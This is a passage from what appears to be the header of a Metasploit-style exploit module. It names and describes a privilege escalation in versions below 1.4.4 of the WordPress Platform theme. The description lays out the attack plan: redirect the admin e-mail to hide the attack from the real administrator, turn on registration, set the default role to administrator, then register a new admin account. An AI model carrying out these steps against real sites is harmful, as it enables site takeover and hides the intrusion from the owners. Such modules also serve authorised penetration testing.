    name: 'Platform Theme Privilege Escalation',
    desc: %(
      This module exploits a privilege escalation vulnerability in
      versions < 1.4.4 of the Platform theme which allows authenticated
      users of any level to update any WordPress option.

      The module first changes the admin e-mail address to prevent any
      notifications being sent to the actual administrator during the
      attack, re-enables user registration in case it has been
      disabled and sets the default role to be administrator.
      This will allow for the user to create a new account with admin
      privileges via the default registration page found at
      /wp-login.php?action=register.
